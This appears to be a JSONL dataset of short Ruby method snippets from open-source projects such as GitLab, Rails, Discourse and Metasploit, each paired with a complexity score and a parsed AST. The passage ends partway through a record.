{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/bundler-checksum/lib/bundler_checksum/command/init.rb","start_line":110,"raw_source":"def lockfile\n lockfile_path = Bundler.default_lockfile\n lockfile = Bundler::LockfileParser.new(Bundler.read_file(lockfile_path))\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lockfile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lockfile_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"default_lockfile\"]}]},{\"type\":\"lvasgn\",\"children\":[\"lockfile\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"LockfileParser\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bundler\"]},\"read_file\",{\"type\":\"lvar\",\"children\":[\"lockfile_path\"]}]}]}]}]}]}","id":"b8e55855-c135-413e-8c39-4fbf83609411"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/dell_idrac.rb","start_line":51,"raw_source":"def pre_v9_url\n normalize_uri(target_uri.path, 'data', 'login')\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pre_v9_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]}","id":"9583c6cc-6020-4619-8770-725a8c9d9d75"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_poster.rb","start_line":18,"raw_source":"def name_and_description\n I18n.t(\"js.user.avatar.name_and_description\", name: user.display_name, description: description)\n end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"name_and_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"js.user.avatar.name_and_description\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"display_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"description\"]}]}]}]}]}","id":"7981f340-2c41-4ea7-9cdd-c9f22349d155"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/date_type.rb","start_line":16,"raw_source":"def self.coerce_result(value, ctx)\n return if value.nil?\n\n value.to_date.iso8601\n end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"coerce_result\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"ctx\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_date\"]},\"iso8601\"]}]}]}","id":"42726fcd-8f30-4bcb-bf94-949b2e3e4a7f"} {"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/analyzer/video_analyzer.rb","start_line":90,"raw_source":"def computed_height\n if encoded_width && display_height_scale\n encoded_width * display_height_scale\n end\n end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"computed_height\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encoded_width\"]},{\"type\":\"send\",\"children\":[null,\"display_height_scale\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encoded_width\"]},\"*\",{\"type\":\"send\",\"children\":[null,\"display_height_scale\"]}]},null]}]}","id":"d84fac85-0f7f-4c6f-930d-860464c08c51"} {"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/oauth/applications/create_contract.rb","start_line":41,"raw_source":"def validate_owner_present\n if model.owner.blank?\n errors.add(:owner, :blank)\n end\n end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_owner_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"owner\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"owner\"]},{\"type\":\"sym\",\"children\":[\"blank\"]}]},null]}]}","id":"5da69888-75ff-49a3-b5aa-703c42a8fb8d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/error_tracking/processor/sanitize_error_message_processor.rb","start_line":10,"raw_source":"def call(event)\n exceptions = extract_exceptions_from(event)\n\n exceptions.each do |exception|\n next unless valid_exception?(exception)\n\n message = Gitlab::Sanitizers::ExceptionMessage.clean(exception.type, exception.value)\n\n set_exception_message(exception, message)\n end\n\n event\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exceptions\",{\"type\":\"send\",\"children\":[null,\"extract_exceptions_from\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exceptions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_exception?\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Sanitizers\"]},\"ExceptionMessage\"]},\"clean\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_exception_message\",{\"type\":\"lvar\",\"children\":[\"exception\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}","id":"661f9afc-40b7-4b4a-ae7e-f1cdcd37d393"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/content_security_policy.rb","start_line":18,"raw_source":"def build(theme_id, base_url:, path_info: \"/\")\n builder = Builder.new(base_url: base_url)\n\n Extension.theme_extensions(theme_id).each { |extension| builder << extension }\n Extension.plugin_extensions.each { |extension| builder << extension }\n builder << Extension.site_setting_extension\n\n builder.build\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme_id\"]},{\"type\":\"kwarg\",\"children\":[\"base_url\"]},{\"type\":\"kwoptarg\",\"children\":[\"path_info\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"builder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Builder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"base_url\"]},{\"type\":\"lvar\",\"children\":[\"base_url\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Extension\"]},\"theme_extensions\",{\"type\":\"lvar\",\"children\":[\"theme_id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"extension\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"extension\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Extension\"]},\"plugin_extensions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"extension\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"extension\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Extension\"]},\"site_setting_extension\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builder\"]},\"build\"]}]}]}","id":"a977874e-1cec-4165-9490-517f5fd875c8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/system_logs/kibana.rb","start_line":40,"raw_source":"def dashboard_url\n return if @base_url.nil?\n\n \"#{@base_url}app/dashboards#/view/#{@dashboard_id}?_g=%28time%3A%28from:%27#{start_time}%27%2C\" \\\n \"to%3A%27#{end_time}%27%29%29&_a=%28filters%3A%21%28%28query%3A%28match_phrase%3A%28\" \\\n \"json.correlation_id%3A%27#{@correlation_id}%27%29%29%29%29%29\"\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"dashboard_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base_url\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base_url\"]}]},{\"type\":\"str\",\"children\":[\"app/dashboards#/view/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dashboard_id\"]}]},{\"type\":\"str\",\"children\":[\"?_g=%28time%3A%28from:%27\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_time\"]}]},{\"type\":\"str\",\"children\":[\"%27%2C\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"to%3A%27\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"end_time\"]}]},{\"type\":\"str\",\"children\":[\"%27%29%29&_a=%28filters%3A%21%28%28query%3A%28match_phrase%3A%28\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"json.correlation_id%3A%27\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@correlation_id\"]}]},{\"type\":\"str\",\"children\":[\"%27%29%29%29%29%29\"]}]}]}]}]}","id":"511a662d-497e-4b31-9940-2da6f1f27795"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff_commit.rb","start_line":160,"raw_source":"def committer_email\n committer&.email\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"committer_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"committer\"]},\"email\"]}]}","id":"6eba48a6-9f8c-487d-b18c-c9d68285b084"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250212120328_create_ai_active_context_collections.rb","start_line":6,"raw_source":"def up\n create_table :ai_active_context_collections do |t|\n t.text :name, null: false, limit: 255\n t.jsonb :metadata, null: false, default: {}\n t.integer :number_of_partitions, default: 1, null: false\n t.timestamps_with_timezone null: false\n end\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"ai_active_context_collections\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[255]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"metadata\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"number_of_partitions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps_with_timezone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"a3979753-63c6-4aa4-ba3c-e588a90be083"} {"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/sidekiq_middleware.rb","start_line":26,"raw_source":"def clean_up_sockets!\n clean_up_redis_socket!\n clean_up_statsd_socket!\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"clean_up_sockets!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clean_up_redis_socket!\"]},{\"type\":\"send\",\"children\":[null,\"clean_up_statsd_socket!\"]}]}]}","id":"b252f099-504e-4f1c-9969-db9b03b983c6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/hwbridge/ui/console/command_dispatcher/rftransceiver.rb","start_line":172,"raw_source":"def cmd_flen(*args)\n self.idx ||= 0\n flen = -1\n opts = Rex::Parser::Arguments.new(\n '-h' => [ false, 'Help Banner' ],\n '-l' => [ true, 'Fixed Length' ]\n )\n opts.parse(args) do |opt, _idx, val|\n case opt\n when '-h'\n print_line(\"Usage: flen -l <length>\\n\")\n print_line(opts.usage)\n return\n when '-l'\n flen = val.to_i\n end\n end\n if flen == -1\n print_line(\"You must specify a length\")\n return\n end\n r = client.rftransceiver.make_pkt_flen(idx, flen)\n print_success(r)\n end","complexity_score":25.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_flen\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"idx\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"flen\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Parser\"]},\"Arguments\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Help Banner\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"-l\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Fixed Length\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opt\"]},{\"type\":\"arg\",\"children\":[\"_idx\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opt\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: flen -l <length>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"usage\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-l\"]},{\"type\":\"lvasgn\",\"children\":[\"flen\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_i\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flen\"]},\"==\",{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"You must specify a length\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"r\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"rftransceiver\"]},\"make_pkt_flen\",{\"type\":\"send\",\"children\":[null,\"idx\"]},{\"type\":\"lvar\",\"children\":[\"flen\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_success\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]}]}","id":"e23bcb82-6f9e-4afb-8202-6cd7509d0ec2"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/info.rb","start_line":43,"raw_source":"def to_html\n (+\"<table>\").tap do |table|\n properties.each do |(name, value)|\n table << %(<tr><td class=\"name\">#{ERB::Util.html_escape(name.to_s)}</td>)\n formatted_value = if value.kind_of?(Array)\n \"<ul>\" + value.map { |v| \"<li>#{ERB::Util.html_escape(v.to_s)}</li>\" }.join + \"</ul>\"\n else\n ERB::Util.html_escape(value.to_s)\n end\n table << %(<td class=\"value\">#{formatted_value}</td></tr>)\n end\n table << \"</table>\"\n end\n end","complexity_score":39.6,"ast_json":"{\"type\":\"def\",\"children\":[\"to_html\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<table>\"]},\"+@\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"properties\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<tr><td class=\\\"name\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]}]},{\"type\":\"str\",\"children\":[\"</td>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"formatted_value\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<ul>\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<li>\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"to_s\"]}]}]},{\"type\":\"str\",\"children\":[\"</li>\"]}]}]},\"join\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"</ul>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"html_escape\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<td class=\\\"value\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"formatted_value\"]}]},{\"type\":\"str\",\"children\":[\"</td></tr>\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</table>\"]}]}]}]}]}","id":"4f6f24df-2e4f-4879-8dd5-3a0760a90a07"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/base_items_list_service.rb","start_line":137,"raw_source":"def label_links(items, label_ids)\n labels_filter.label_link_query(items, label_ids: label_ids)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"label_links\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]},{\"type\":\"arg\",\"children\":[\"label_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"labels_filter\"]},\"label_link_query\",{\"type\":\"lvar\",\"children\":[\"items\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label_ids\"]},{\"type\":\"lvar\",\"children\":[\"label_ids\"]}]}]}]}]}","id":"34e45097-e02a-4246-9a3d-337bd02b7b25"} {"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/shares/delete_contract.rb","start_line":37,"raw_source":"def member_is_deletable\n errors.add(:base, :not_deletable) unless model.some_roles_deletable?\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"member_is_deletable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"some_roles_deletable?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"sym\",\"children\":[\"not_deletable\"]}]}]}]}","id":"a679d69a-dd1b-4ae5-99ba-d0f57338d5a3"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/articles_controller.rb","start_line":87,"raw_source":"def me\n per_page = (params[:per_page] || 30).to_i\n num = [per_page, per_page_max].min\n\n @articles = case params[:status]\n when \"published\"\n @user.articles.published.from_subforem\n when \"unpublished\"\n @user.articles.unpublished.from_subforem\n when \"all\"\n @user.articles.from_subforem\n else\n @user.articles.published.from_subforem\n end\n\n @articles = @articles\n .includes(:organization)\n .select(ME_ATTRIBUTES_FOR_SERIALIZATION)\n .order(published_at: :desc, created_at: :desc)\n .page(params[:page])\n .per(num)\n .decorate\n end","complexity_score":45.33,"ast_json":"{\"type\":\"def\",\"children\":[\"me\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"per_page\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]},{\"type\":\"int\",\"children\":[30]}]}]},\"to_i\"]}]},{\"type\":\"lvasgn\",\"children\":[\"num\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"per_page\"]},{\"type\":\"send\",\"children\":[null,\"per_page_max\"]}]},\"min\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@articles\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"published\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"articles\"]},\"published\"]},\"from_subforem\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"unpublished\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"articles\"]},\"unpublished\"]},\"from_subforem\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"articles\"]},\"from_subforem\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"articles\"]},\"published\"]},\"from_subforem\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@articles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@articles\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"organization\"]}]},\"select\",{\"type\":\"const\",\"children\":[null,\"ME_ATTRIBUTES_FOR_SERIALIZATION\"]}]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},\"page\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]},\"per\",{\"type\":\"lvar\",\"children\":[\"num\"]}]},\"decorate\"]}]}]}]}","id":"013e29e0-cc6a-4f73-8951-2a72d5678a9a"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/crm/leadsquared/setup_service.rb","start_line":89,"raw_source":"def activity_types\n [\n {\n name: \"#{brand_name} Conversation Started\",\n score: @hook.settings['conversation_activity_score'].to_i || 0,\n direction: 0,\n setting_key: 'conversation_activity_code'\n },\n {\n name: \"#{brand_name} Conversation Transcript\",\n score: @hook.settings['transcript_activity_score'].to_i || 0,\n direction: 0,\n setting_key: 'transcript_activity_code'\n }\n ].freeze\n end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"activity_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"brand_name\"]}]},{\"type\":\"str\",\"children\":[\" Conversation 